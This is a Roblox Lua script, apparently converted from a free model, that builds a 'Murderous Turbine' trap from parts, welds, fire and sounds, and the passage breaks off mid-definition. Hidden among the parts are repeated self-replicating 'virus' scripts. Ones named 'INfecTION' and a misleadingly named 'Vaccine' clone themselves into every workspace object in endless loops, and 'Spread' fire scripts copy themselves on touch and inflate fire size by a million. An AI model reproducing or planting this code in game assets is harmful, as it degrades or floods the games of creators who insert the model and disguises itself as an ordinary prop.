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- --Converted with ttyyuu12345's model to script plugin v4
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Model0 = Instance.new("Model")
- Model1 = Instance.new("Model")
- Model2 = Instance.new("Model")
- Model3 = Instance.new("Model")
- Part4 = Instance.new("Part")
- Script5 = Instance.new("Script")
- Sound6 = Instance.new("Sound")
- Sound7 = Instance.new("Sound")
- Part8 = Instance.new("Part")
- ParticleEmitter9 = Instance.new("ParticleEmitter")
- Part10 = Instance.new("Part")
- Fire11 = Instance.new("Fire")
- Script12 = Instance.new("Script")
- BoolValue13 = Instance.new("BoolValue")
- BoolValue14 = Instance.new("BoolValue")
- RotateP15 = Instance.new("RotateP")
- Script16 = Instance.new("Script")
- Script17 = Instance.new("Script")
- Part18 = Instance.new("Part")
- Fire19 = Instance.new("Fire")
- Script20 = Instance.new("Script")
- BoolValue21 = Instance.new("BoolValue")
- BoolValue22 = Instance.new("BoolValue")
- RotateP23 = Instance.new("RotateP")
- Script24 = Instance.new("Script")
- Script25 = Instance.new("Script")
- ManualWeld26 = Instance.new("ManualWeld")
- Part27 = Instance.new("Part")
- Fire28 = Instance.new("Fire")
- Script29 = Instance.new("Script")
- BoolValue30 = Instance.new("BoolValue")
- BoolValue31 = Instance.new("BoolValue")
- RotateP32 = Instance.new("RotateP")
- Script33 = Instance.new("Script")
- ManualWeld34 = Instance.new("ManualWeld")
- ManualWeld35 = Instance.new("ManualWeld")
- ManualWeld36 = Instance.new("ManualWeld")
- ManualWeld37 = Instance.new("ManualWeld")
- ManualWeld38 = Instance.new("ManualWeld")
- ManualWeld39 = Instance.new("ManualWeld")
- ManualWeld40 = Instance.new("ManualWeld")
- ManualWeld41 = Instance.new("ManualWeld")
- ManualWeld42 = Instance.new("ManualWeld")
- ManualWeld43 = Instance.new("ManualWeld")
- ManualWeld44 = Instance.new("ManualWeld")
- ManualWeld45 = Instance.new("ManualWeld")
- ManualWeld46 = Instance.new("ManualWeld")
- Script47 = Instance.new("Script")
- Part48 = Instance.new("Part")
- Fire49 = Instance.new("Fire")
- Script50 = Instance.new("Script")
- BoolValue51 = Instance.new("BoolValue")
- BoolValue52 = Instance.new("BoolValue")
- RotateP53 = Instance.new("RotateP")
- Script54 = Instance.new("Script")
- Script55 = Instance.new("Script")
- Part56 = Instance.new("Part")
- Fire57 = Instance.new("Fire")
- Script58 = Instance.new("Script")
- BoolValue59 = Instance.new("BoolValue")
- BoolValue60 = Instance.new("BoolValue")
- RotateP61 = Instance.new("RotateP")
- Script62 = Instance.new("Script")
- Script63 = Instance.new("Script")
- ManualWeld64 = Instance.new("ManualWeld")
- ManualWeld65 = Instance.new("ManualWeld")
- ManualWeld66 = Instance.new("ManualWeld")
- ManualWeld67 = Instance.new("ManualWeld")
- Part68 = Instance.new("Part")
- Fire69 = Instance.new("Fire")
- Script70 = Instance.new("Script")
- BoolValue71 = Instance.new("BoolValue")
- BoolValue72 = Instance.new("BoolValue")
- RotateP73 = Instance.new("RotateP")
- Script74 = Instance.new("Script")
- ManualWeld75 = Instance.new("ManualWeld")
- ManualWeld76 = Instance.new("ManualWeld")
- Script77 = Instance.new("Script")
- Part78 = Instance.new("Part")
- Fire79 = Instance.new("Fire")
- Script80 = Instance.new("Script")
- BoolValue81 = Instance.new("BoolValue")
- BoolValue82 = Instance.new("BoolValue")
- RotateP83 = Instance.new("RotateP")
- Script84 = Instance.new("Script")
- Script85 = Instance.new("Script")
- ManualWeld86 = Instance.new("ManualWeld")
- Part87 = Instance.new("Part")
- Fire88 = Instance.new("Fire")
- Script89 = Instance.new("Script")
- BoolValue90 = Instance.new("BoolValue")
- BoolValue91 = Instance.new("BoolValue")
- RotateP92 = Instance.new("RotateP")
- Script93 = Instance.new("Script")
- Script94 = Instance.new("Script")
- Part95 = Instance.new("Part")
- Fire96 = Instance.new("Fire")
- Script97 = Instance.new("Script")
- BoolValue98 = Instance.new("BoolValue")
- BoolValue99 = Instance.new("BoolValue")
- RotateP100 = Instance.new("RotateP")
- Script101 = Instance.new("Script")
- Script102 = Instance.new("Script")
- Part103 = Instance.new("Part")
- Fire104 = Instance.new("Fire")
- Script105 = Instance.new("Script")
- BoolValue106 = Instance.new("BoolValue")
- BoolValue107 = Instance.new("BoolValue")
- RotateP108 = Instance.new("RotateP")
- Script109 = Instance.new("Script")
- ManualWeld110 = Instance.new("ManualWeld")
- ManualWeld111 = Instance.new("ManualWeld")
- Script112 = Instance.new("Script")
- Part113 = Instance.new("Part")
- Fire114 = Instance.new("Fire")
- Script115 = Instance.new("Script")
- BoolValue116 = Instance.new("BoolValue")
- BoolValue117 = Instance.new("BoolValue")
- RotateP118 = Instance.new("RotateP")
- Script119 = Instance.new("Script")
- Script120 = Instance.new("Script")
- Part121 = Instance.new("Part")
- Fire122 = Instance.new("Fire")
- Script123 = Instance.new("Script")
- BoolValue124 = Instance.new("BoolValue")
- BoolValue125 = Instance.new("BoolValue")
- RotateP126 = Instance.new("RotateP")
- Script127 = Instance.new("Script")
- ManualWeld128 = Instance.new("ManualWeld")
- Script129 = Instance.new("Script")
- Part130 = Instance.new("Part")
- Fire131 = Instance.new("Fire")
- Script132 = Instance.new("Script")
- BoolValue133 = Instance.new("BoolValue")
- BoolValue134 = Instance.new("BoolValue")
- RotateP135 = Instance.new("RotateP")
- Script136 = Instance.new("Script")
- Script137 = Instance.new("Script")
- Part138 = Instance.new("Part")
- Fire139 = Instance.new("Fire")
- Script140 = Instance.new("Script")
- BoolValue141 = Instance.new("BoolValue")
- BoolValue142 = Instance.new("BoolValue")
- RotateP143 = Instance.new("RotateP")
- Script144 = Instance.new("Script")
- ManualWeld145 = Instance.new("ManualWeld")
- ManualWeld146 = Instance.new("ManualWeld")
- Script147 = Instance.new("Script")
- ManualWeld148 = Instance.new("ManualWeld")
- ManualWeld149 = Instance.new("ManualWeld")
- Part150 = Instance.new("Part")
- Fire151 = Instance.new("Fire")
- Script152 = Instance.new("Script")
- BoolValue153 = Instance.new("BoolValue")
- BoolValue154 = Instance.new("BoolValue")
- RotateP155 = Instance.new("RotateP")
- Script156 = Instance.new("Script")
- ManualWeld157 = Instance.new("ManualWeld")
- ManualWeld158 = Instance.new("ManualWeld")
- Script159 = Instance.new("Script")
- Part160 = Instance.new("Part")
- Fire161 = Instance.new("Fire")
- Script162 = Instance.new("Script")
- BoolValue163 = Instance.new("BoolValue")
- BoolValue164 = Instance.new("BoolValue")
- RotateP165 = Instance.new("RotateP")
- Script166 = Instance.new("Script")
- Script167 = Instance.new("Script")
- Part168 = Instance.new("Part")
- Fire169 = Instance.new("Fire")
- Script170 = Instance.new("Script")
- BoolValue171 = Instance.new("BoolValue")
- BoolValue172 = Instance.new("BoolValue")
- RotateP173 = Instance.new("RotateP")
- Script174 = Instance.new("Script")
- Script175 = Instance.new("Script")
- WedgePart176 = Instance.new("WedgePart")
- BoolValue177 = Instance.new("BoolValue")
- BoolValue178 = Instance.new("BoolValue")
- RotateP179 = Instance.new("RotateP")
- Script180 = Instance.new("Script")
- Fire181 = Instance.new("Fire")
- Script182 = Instance.new("Script")
- ManualWeld183 = Instance.new("ManualWeld")
- ManualWeld184 = Instance.new("ManualWeld")
- ManualWeld185 = Instance.new("ManualWeld")
- Script186 = Instance.new("Script")
- Part187 = Instance.new("Part")
- BoolValue188 = Instance.new("BoolValue")
- BoolValue189 = Instance.new("BoolValue")
- Fire190 = Instance.new("Fire")
- Script191 = Instance.new("Script")
- RotateP192 = Instance.new("RotateP")
- Script193 = Instance.new("Script")
- SpecialMesh194 = Instance.new("SpecialMesh")
- Script195 = Instance.new("Script")
- Part196 = Instance.new("Part")
- BoolValue197 = Instance.new("BoolValue")
- BoolValue198 = Instance.new("BoolValue")
- Fire199 = Instance.new("Fire")
- Script200 = Instance.new("Script")
- RotateP201 = Instance.new("RotateP")
- Script202 = Instance.new("Script")
- SpecialMesh203 = Instance.new("SpecialMesh")
- Script204 = Instance.new("Script")
- Part205 = Instance.new("Part")
- BoolValue206 = Instance.new("BoolValue")
- BoolValue207 = Instance.new("BoolValue")
- Fire208 = Instance.new("Fire")
- Script209 = Instance.new("Script")
- RotateP210 = Instance.new("RotateP")
- Script211 = Instance.new("Script")
- SpecialMesh212 = Instance.new("SpecialMesh")
- Script213 = Instance.new("Script")
- Part214 = Instance.new("Part")
- Fire215 = Instance.new("Fire")
- Script216 = Instance.new("Script")
- BoolValue217 = Instance.new("BoolValue")
- BoolValue218 = Instance.new("BoolValue")
- RotateP219 = Instance.new("RotateP")
- Script220 = Instance.new("Script")
- ManualWeld221 = Instance.new("ManualWeld")
- Script222 = Instance.new("Script")
- Part223 = Instance.new("Part")
- Fire224 = Instance.new("Fire")
- Script225 = Instance.new("Script")
- BoolValue226 = Instance.new("BoolValue")
- BoolValue227 = Instance.new("BoolValue")
- RotateP228 = Instance.new("RotateP")
- Script229 = Instance.new("Script")
- Script230 = Instance.new("Script")
- Part231 = Instance.new("Part")
- Fire232 = Instance.new("Fire")
- Script233 = Instance.new("Script")
- BoolValue234 = Instance.new("BoolValue")
- BoolValue235 = Instance.new("BoolValue")
- RotateP236 = Instance.new("RotateP")
- Script237 = Instance.new("Script")
- ManualWeld238 = Instance.new("ManualWeld")
- Script239 = Instance.new("Script")
- Part240 = Instance.new("Part")
- Fire241 = Instance.new("Fire")
- Script242 = Instance.new("Script")
- BoolValue243 = Instance.new("BoolValue")
- BoolValue244 = Instance.new("BoolValue")
- RotateP245 = Instance.new("RotateP")
- Script246 = Instance.new("Script")
- ManualWeld247 = Instance.new("ManualWeld")
- Script248 = Instance.new("Script")
- Part249 = Instance.new("Part")
- SpecialMesh250 = Instance.new("SpecialMesh")
- Script251 = Instance.new("Script")
- Sound252 = Instance.new("Sound")
- Script253 = Instance.new("Script")
- Model0.Parent = mas
- Model1.Name = "Murderous Turbine"
- Model1.Parent = Model0
- Model2.Name = "Turbine"
- Model2.Parent = Model1
- Model3.Name = "Sensors"
- Model3.Parent = Model1
- Part4.Name = "kill"
- Part4.Parent = Model3
- Part4.CFrame = CFrame.new(-6.57304478, 4.02498293, -7.95568419, 0, 0, -1.00000131, 0, 1.00000131, 0, 1, 0, 0)
- Part4.Orientation = Vector3.new(0, -90, 0)
- Part4.Position = Vector3.new(-6.57304478, 4.02498293, -7.95568419)
- Part4.Rotation = Vector3.new(0, -90, 0)
- Part4.Color = Color3.new(0.627451, 0.517647, 0.309804)
- Part4.Transparency = 1
- Part4.Size = Vector3.new(2, 1.94999933, 2.18999958)
- Part4.Anchored = true
- Part4.BrickColor = BrickColor.new("Fawn brown")
- Part4.CanCollide = false
- Part4.Material = Enum.Material.SmoothPlastic
- Part4.brickColor = BrickColor.new("Fawn brown")
- Part4.FormFactor = Enum.FormFactor.Symmetric
- Part4.formFactor = Enum.FormFactor.Symmetric
- Script5.Parent = Part4
- table.insert(cors,sandbox(Script5,function()
- function onTouch(part)
- if part.Parent ~= workspace then
- script.Parent.Sound:Play()
- script.Parent.SoundB:Play()
- script.Parent.Parent.bloods.dead.Enabled = true
- local a = part:clone()
- a.Parent = workspace
- a.CanCollide = true
- part:remove()
- wait(2)
- script.Parent.Sound:Stop()
- script.Parent.SoundB:Stop()
- script.Parent.Parent.bloods.dead.Enabled = false
- end
- end
- script.Parent.Touched:connect(onTouch)
- end))
- Sound6.Parent = Part4
- Sound6.Looped = true
- Sound6.EmitterSize = 0
- Sound6.MinDistance = 0
- Sound6.SoundId = "http://www.roblox.com/asset?id=134484317"
- Sound6.Volume = 1
- Sound7.Name = "SoundB"
- Sound7.Parent = Part4
- Sound7.Looped = true
- Sound7.EmitterSize = 0
- Sound7.MinDistance = 0
- Sound7.SoundId = "http://www.roblox.com/asset?id=176238381"
- Sound7.Volume = 1
- Part8.Name = "bloods"
- Part8.Parent = Model3
- Part8.CFrame = CFrame.new(-7.20305586, 3.78498507, -8.12067795, 0, 0.707107723, 0.707107723, 0, -0.707107723, 0.707107723, 1, 0, 0)
- Part8.Orientation = Vector3.new(-45, 90, 180)
- Part8.Position = Vector3.new(-7.20305586, 3.78498507, -8.12067795)
- Part8.Rotation = Vector3.new(-90, 45, -90)
- Part8.Color = Color3.new(0.627451, 0.517647, 0.309804)
- Part8.Transparency = 1
- Part8.Size = Vector3.new(3.36999989, 3.3499999, 0.850000083)
- Part8.Anchored = true
- Part8.BrickColor = BrickColor.new("Fawn brown")
- Part8.CanCollide = false
- Part8.Material = Enum.Material.SmoothPlastic
- Part8.brickColor = BrickColor.new("Fawn brown")
- Part8.FormFactor = Enum.FormFactor.Symmetric
- Part8.formFactor = Enum.FormFactor.Symmetric
- ParticleEmitter9.Name = "dead"
- ParticleEmitter9.Parent = Part8
- ParticleEmitter9.Speed = NumberRange.new(40, 40)
- ParticleEmitter9.Rotation = NumberRange.new(20, 300)
- ParticleEmitter9.Enabled = false
- ParticleEmitter9.Texture = "http://www.roblox.com/asset/?id=176678030"
- ParticleEmitter9.Transparency = NumberSequence.new(0,0.28749996423721,1)
- ParticleEmitter9.Size = NumberSequence.new(1.0624998807907,0.74999988079071,0)
- ParticleEmitter9.Acceleration = Vector3.new(0, -10, 0)
- ParticleEmitter9.EmissionDirection = Enum.NormalId.Back
- ParticleEmitter9.Lifetime = NumberRange.new(1, 1)
- ParticleEmitter9.Rate = 400
- ParticleEmitter9.RotSpeed = NumberRange.new(200, 300)
- ParticleEmitter9.SpreadAngle = Vector2.new(20, 20)
- ParticleEmitter9.VelocitySpread = 20
- Part10.Name = "Smooth Block Model"
- Part10.Parent = Model0
- Part10.CFrame = CFrame.new(-3.21062589, 0.899998009, -10.358428, 0, 0, 1.00000131, 0, 1.00000131, 0, -1, 0, 0)
- Part10.Orientation = Vector3.new(0, 90, 0)
- Part10.Position = Vector3.new(-3.21062589, 0.899998009, -10.358428)
- Part10.Rotation = Vector3.new(0, 90, 0)
- Part10.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part10.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
- Part10.Anchored = true
- Part10.BottomSurface = Enum.SurfaceType.Smooth
- Part10.BrickColor = BrickColor.new("Bright red")
- Part10.Material = Enum.Material.DiamondPlate
- Part10.TopSurface = Enum.SurfaceType.Smooth
- Part10.brickColor = BrickColor.new("Bright red")
- Part10.FormFactor = Enum.FormFactor.Custom
- Part10.formFactor = Enum.FormFactor.Custom
- Fire11.Parent = Part10
- Fire11.Color = Color3.new(1, 0.678431, 0)
- Fire11.Enabled = false
- Fire11.Size = 30
- Fire11.Heat = 25
- Fire11.SecondaryColor = Color3.new(1, 0, 0)
- Fire11.size = 30
- Script12.Name = "Spread"
- Script12.Parent = Fire11
- table.insert(cors,sandbox(Script12,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue13.Name = "RobloxStamper"
- BoolValue13.Parent = Part10
- BoolValue14.Name = "RobloxModel"
- BoolValue14.Parent = Part10
- RotateP15.Name = "INfecTION"
- RotateP15.Parent = Part10
- RotateP15.BaseAngle = 0.25
- Script16.Name = "Script......Or is it..."
- Script16.Parent = RotateP15
- table.insert(cors,sandbox(Script16,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script17.Name = "Vaccine"
- Script17.Parent = Part10
- table.insert(cors,sandbox(Script17,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- Part18.Name = "spaceWall"
- Part18.Parent = Model0
- Part18.CFrame = CFrame.new(-6.91070318, 3.41999888, -8.65842819, 1.31134328e-07, 0, -1.00000131, 0, 1.00000131, 0, 1, 0, 1.31134158e-07)
- Part18.Orientation = Vector3.new(0, -90, 0)
- Part18.Position = Vector3.new(-6.91070318, 3.41999888, -8.65842819)
- Part18.Rotation = Vector3.new(0, -90, 0)
- Part18.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part18.Size = Vector3.new(0.599999368, 0.799999356, 0.599998891)
- Part18.Anchored = true
- Part18.BottomSurface = Enum.SurfaceType.Smooth
- Part18.BrickColor = BrickColor.new("Dark stone grey")
- Part18.Material = Enum.Material.DiamondPlate
- Part18.RightParamA = -0.10000000149012
- Part18.RightParamB = 0.10000000149012
- Part18.RightSurface = Enum.SurfaceType.Motor
- Part18.RightSurfaceInput = Enum.InputType.Constant
- Part18.TopSurface = Enum.SurfaceType.Smooth
- Part18.brickColor = BrickColor.new("Dark stone grey")
- Part18.FormFactor = Enum.FormFactor.Custom
- Part18.formFactor = Enum.FormFactor.Custom
- Fire19.Parent = Part18
- Fire19.Color = Color3.new(1, 0.678431, 0)
- Fire19.Enabled = false
- Fire19.Size = 30
- Fire19.Heat = 25
- Fire19.SecondaryColor = Color3.new(1, 0, 0)
- Fire19.size = 30
- Script20.Name = "Spread"
- Script20.Parent = Fire19
- table.insert(cors,sandbox(Script20,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue21.Name = "RobloxStamper"
- BoolValue21.Parent = Part18
- BoolValue22.Name = "RobloxModel"
- BoolValue22.Parent = Part18
- RotateP23.Name = "INfecTION"
- RotateP23.Parent = Part18
- RotateP23.BaseAngle = 0.25
- Script24.Name = "Script......Or is it..."
- Script24.Parent = RotateP23
- table.insert(cors,sandbox(Script24,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Script25.Name = "Vaccine"
- Script25.Parent = Part18
- table.insert(cors,sandbox(Script25,function()
- function spread() -- created by nadnarb4
- local stuff = game.Workspace:GetChildren()
- for i = 1, #stuff do
- if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
- local clone = script:clone()
- clone.Parent = stuff[i]
- end
- end
- end
- while true do
- wait(.1)
- spread()
- end
- function GetAllItems(mdl)
- local objs = {}
- function Search(obj)
- if obj~=workspace then
- table.insert(objs,obj)
- end
- if #obj:GetChildren() > 0 then
- for i, v in ipairs(obj:GetChildren()) do
- Search(v)
- end
- end
- end
- Search(mdl)
- return objs
- end
- for i, v in ipairs(GetAllItems(workspace)) do
- if v.className == "Script" then
- if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
- v.Parent = game.Lighting --Just in case it has a removal prevention.
- t = Instance.new("ObjectValue")
- t.Name = "IsAVirus"
- t.Parent = v
- end
- end
- end
- for i, v in ipairs(game.Lighting:GetChildren()) do
- if v:findFirstChild("IsAVirus") then --Only remove the viruses.
- v:remove()
- end
- end
- end))
- ManualWeld26.Name = "spaceWall-to-spaceWall Strong Joint"
- ManualWeld26.Parent = Part18
- ManualWeld26.C0 = CFrame.new(-0.299999684, -0.399999678, 0.299999446, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld26.C1 = CFrame.new(0.200012207, -0.399993896, 0.300003052, -1, 0, -8.74227695e-08, 0, 1, 0, 8.74227695e-08, 0, -1)
- ManualWeld26.Part0 = Part18
- ManualWeld26.Part1 = Part95
- ManualWeld26.part1 = Part95
- Part27.Name = "Smooth Block Model"
- Part27.Parent = Model0
- Part27.CFrame = CFrame.new(-6.21062994, 2.3999989, -8.35842896, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
- Part27.Position = Vector3.new(-6.21062994, 2.3999989, -8.35842896)
- Part27.Color = Color3.new(0.768627, 0.156863, 0.109804)
- Part27.Size = Vector3.new(7.20000172, 1.19999933, 4.4000001)
- Part27.Anchored = true
- Part27.BottomSurface = Enum.SurfaceType.Smooth
- Part27.BrickColor = BrickColor.new("Bright red")
- Part27.Material = Enum.Material.DiamondPlate
- Part27.TopSurface = Enum.SurfaceType.Smooth
- Part27.brickColor = BrickColor.new("Bright red")
- Part27.FormFactor = Enum.FormFactor.Custom
- Part27.formFactor = Enum.FormFactor.Custom
- Fire28.Parent = Part27
- Fire28.Color = Color3.new(1, 0.678431, 0)
- Fire28.Enabled = false
- Fire28.Size = 30
- Fire28.Heat = 25
- Fire28.SecondaryColor = Color3.new(1, 0, 0)
- Fire28.size = 30
- Script29.Name = "Spread"
- Script29.Parent = Fire28
- table.insert(cors,sandbox(Script29,function()
- function Spread(part)
- check = part:findFirstChild("Fire")
- if check == nil then
- script.Parent:Clone().Parent = part
- elseif check ~= nil then
- check.Size = check.Size + 1000000
- check.Heat = check.Heat +1000000
- end
- end
- script.Parent.Parent.Touched:connect(Spread)
- end))
- BoolValue30.Name = "RobloxStamper"
- BoolValue30.Parent = Part27
- BoolValue31.Name = "RobloxModel"
- BoolValue31.Parent = Part27
- RotateP32.Name = "INfecTION"
- RotateP32.Parent = Part27
- RotateP32.BaseAngle = 0.25
- Script33.Name = "Script......Or is it..."
- Script33.Parent = RotateP32
- table.insert(cors,sandbox(Script33,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- ManualWeld34.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld34.Parent = Part27
- ManualWeld34.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld34.C1 = CFrame.new(7.00001335, 0.899996758, 4.19996643, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
- ManualWeld34.Part0 = Part27
- ManualWeld34.Part1 = Part103
- ManualWeld34.part1 = Part103
- ManualWeld35.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld35.Parent = Part27
- ManualWeld35.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld35.C1 = CFrame.new(6.60001183, 0.899996758, 4.19996643, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
- ManualWeld35.Part0 = Part27
- ManualWeld35.Part1 = Part113
- ManualWeld35.part1 = Part113
- ManualWeld36.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld36.Parent = Part27
- ManualWeld36.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld36.C1 = CFrame.new(7.00001335, 0.899996758, 3.79997253, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
- ManualWeld36.Part0 = Part27
- ManualWeld36.Part1 = Part130
- ManualWeld36.part1 = Part130
- ManualWeld37.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld37.Parent = Part27
- ManualWeld37.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld37.C1 = CFrame.new(7.00000381, 0.899996758, 0.200027466, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
- ManualWeld37.Part0 = Part27
- ManualWeld37.Part1 = Part150
- ManualWeld37.part1 = Part150
- ManualWeld38.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld38.Parent = Part27
- ManualWeld38.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld38.C1 = CFrame.new(7.00000381, 0.899996758, 0.600021362, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
- ManualWeld38.Part0 = Part27
- ManualWeld38.Part1 = Part168
- ManualWeld38.part1 = Part168
- ManualWeld39.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld39.Parent = Part27
- ManualWeld39.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld39.C1 = CFrame.new(6.60000229, 0.899996758, 0.200027466, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
- ManualWeld39.Part0 = Part27
- ManualWeld39.Part1 = Part160
- ManualWeld39.part1 = Part160
- ManualWeld40.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld40.Parent = Part27
- ManualWeld40.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld40.C1 = CFrame.new(-0.199987411, 0.899996758, -4.19996643, -0.99999994, 0, 0, 0, 0, -0.99999994, 0, -1, 0)
- ManualWeld40.Part0 = Part27
- ManualWeld40.Part1 = Part68
- ManualWeld40.part1 = Part68
- ManualWeld41.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld41.Parent = Part27
- ManualWeld41.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld41.C1 = CFrame.new(-4.19996643, 0.899996758, 0.59998703, -4.37113847e-08, -1, -0, 0, 0, -0.99999994, 0.99999994, -4.37113883e-08, 0)
- ManualWeld41.Part0 = Part27
- ManualWeld41.Part1 = Part10
- ManualWeld41.part1 = Part10
- ManualWeld42.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld42.Parent = Part27
- ManualWeld42.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld42.C1 = CFrame.new(0.199987411, 0.899996758, 3.79997253, 0.99999994, 0, 0, 0, 0, -0.99999994, 0, 1, 0)
- ManualWeld42.Part0 = Part27
- ManualWeld42.Part1 = Part48
- ManualWeld42.part1 = Part48
- ManualWeld43.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld43.Parent = Part27
- ManualWeld43.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld43.C1 = CFrame.new(-0.600021362, 0.899996758, 0.199987411, -4.37113847e-08, -1, -0, 0, 0, -0.99999994, 0.99999994, -4.37113883e-08, 0)
- ManualWeld43.Part0 = Part27
- ManualWeld43.Part1 = Part240
- ManualWeld43.part1 = Part240
- ManualWeld44.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld44.Parent = Part27
- ManualWeld44.C0 = CFrame.new(3.60000086, -0.599999666, 2.20000005, 0.99999994, 0, 0, 0, 0, -0.99999994, -0, 1, 0)
- ManualWeld44.C1 = CFrame.new(-0.200027466, 0.899996758, 0.199987411, -4.37113847e-08, -1, -0, 0, 0, -0.99999994, 0.99999994, -4.37113883e-08, 0)
- ManualWeld44.Part0 = Part27
- ManualWeld44.Part1 = Part214
- ManualWeld44.part1 = Part214
- ManualWeld45.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
- ManualWeld45.Parent = Part27
